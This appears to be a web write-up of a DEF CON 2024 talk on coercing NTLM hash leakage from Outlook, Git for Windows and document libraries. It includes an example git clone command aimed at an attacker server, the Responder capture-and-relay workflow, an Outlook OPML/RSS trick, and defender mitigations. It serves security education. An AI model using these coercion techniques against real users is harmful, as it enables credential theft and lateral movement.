NTLM: The Gift That Keeps on Giving
This talk explores various techniques for coercing NTLM authentication hashes from Windows applications, including Outlook, Git, and document processing libraries. The researchers demonstrate how seemingly benign features like URI handlers, RSS feeds, and document loading can be abused to trigger unauthorized network requests. The presentation highlights the persistence of NTLM vulnerabilities in modern Windows environments and provides practical examples of how to identify and exploit these issues during penetration tests. The speakers also discuss their experiences with the Microsoft Security Response Center (MSRC) regarding the disclosure and classification of these vulnerabilities.
NTLM Coercion: Why Your Favorite Desktop Apps Are Still Leaking Hashes
TLDR: Modern Windows applications like Outlook, Git, and various document processors continue to treat NTLM authentication as a default, often leaking user hashes via simple SSRF-like primitives. By abusing URI handlers, RSS feeds, and document-loading features, researchers have demonstrated that attackers can force these applications to authenticate against malicious servers. This research proves that NTLM remains a persistent, high-impact vector for credential theft that requires immediate attention from both developers and security testers.
Authentication protocols from the 1990s have a habit of refusing to die, and NTLM is the undisputed champion of this phenomenon. Despite decades of warnings, the Windows ecosystem remains fundamentally wired to authenticate against almost anything that asks for it. If you are a pentester or a bug bounty hunter, you know that finding a way to force a client to send an NTLM hash is often the first domino to fall in a successful domain compromise. The recent research presented at DEF CON 2024 by Jim and Thomas highlights that this isn't just a legacy server issue; it is a feature baked into the most common desktop applications we use every day.
The Mechanics of Forced Authentication
At its core, the attack vector is simple: trick a Windows application into treating a malicious URL as a legitimate resource. When an application attempts to fetch a file or a feed from a UNC path or a remote HTTP server, the underlying Windows APIs often automatically attempt to authenticate using the current user's credentials. This is where Responder becomes the most valuable tool in your kit. By setting up a rogue authentication server, you can capture the resulting NTLMv2 hashes, which are then ripe for offline cracking or relaying.
The researchers demonstrated that this behavior is not limited to obscure software. It is present in Outlook, Git for Windows, and various document processing libraries like Aspose.NET. The common thread is the lack of proper validation when these applications handle external resources. For instance, by embedding a specially crafted image tag or a sharing header in an email, an attacker can force Outlook to reach out to an external server. Because Outlook prioritizes user convenience, it often performs these requests without alerting the user, effectively turning a standard email client into a credential-leaking machine.
Technical Deep Dive: The Git and Outlook Vectors
One of the most striking examples from the research involves the git clone command. When you run git clone against a malicious URL, the underlying libcurl implementation—which is used by Git for Windows—can be coerced into sending NTLM credentials if no username or password is provided. The researchers showed that even when using a GUI like Visual Studio, the Git Credential Manager will default to sending a blank username and password, triggering an NTLM authentication exchange.
# Example of triggering an NTLM exchange via git clone
git clone http://192.168.178.74/test.git
In the case of Outlook, the vulnerability often lies in how the application handles RSS feeds and URI handlers. The researchers discovered that by using an OPML file to import an RSS feed, they could force Outlook to make a web request while the warning dialog was still being displayed to the user. This bypasses the intended security controls, as the request is initiated before the user has a chance to click "cancel." This is a classic example of Broken Access Control where the application assumes that any resource it is asked to fetch is inherently trustworthy.
Real-World Pentesting and Impact
During a red team engagement, these techniques are incredibly effective for lateral movement. If you have already gained a foothold on a workstation, you can use these primitives to harvest the hashes of other users who might be logged into the same machine or to pivot into the internal network by relaying those hashes to other services. The impact is significant because it requires almost no user interaction beyond opening a document or clicking a link.
When testing, look for any application that processes external data. If an application allows you to specify a URL for a document, a feed, or a remote repository, try pointing it at your own Responder instance. If you see an incoming connection, you have found a potential entry point. The researchers successfully used this approach to find vulnerabilities in ArcGIS and GeoServer, proving that even enterprise-grade software is susceptible to these basic flaws.
The Path Forward for Defenders
Defending against these attacks is difficult because the behavior is often considered "by design" by vendors. The most effective mitigation is to disable NTLM entirely in your environment, but this is rarely feasible in legacy-heavy organizations. At a minimum, you should be monitoring for NTLM authentication traffic originating from unexpected processes. If your mail server or document processor is suddenly initiating NTLM exchanges with external IP addresses, you have a problem.
For developers, the fix is to stop relying on automatic authentication. Explicitly configure your HTTP clients to avoid sending credentials unless they are strictly required, and always validate the destination of any remote resource request. If you are using a third-party library, check its documentation for security settings related to authentication. As the researchers noted, many of these issues are documented as "known security concerns" by the vendors themselves, yet they remain enabled by default.
The persistence of these vulnerabilities is a reminder that we are still living in a world where the default configuration is rarely the secure one. Keep digging into these applications, keep reporting the findings, and keep pushing for the deprecation of NTLM. The next time you see an application that handles URLs, don't just assume it's secure—test it. You might be surprised by what you find.
CVEs
Vulnerability Classes
Attack Techniques
All Tags
Up Next From This Conference

Breaking Secure Web Gateways for Fun and Profit

Listen to the Whispers: Web Timing Attacks That Actually Work

Abusing Windows Hello Without a Severed Hand
Similar Talks

Kill List: Hacking an Assassination Site on the Dark Web

Firewalls Under Fire: China's Ongoing Campaign to Compromise Network Protection Devices

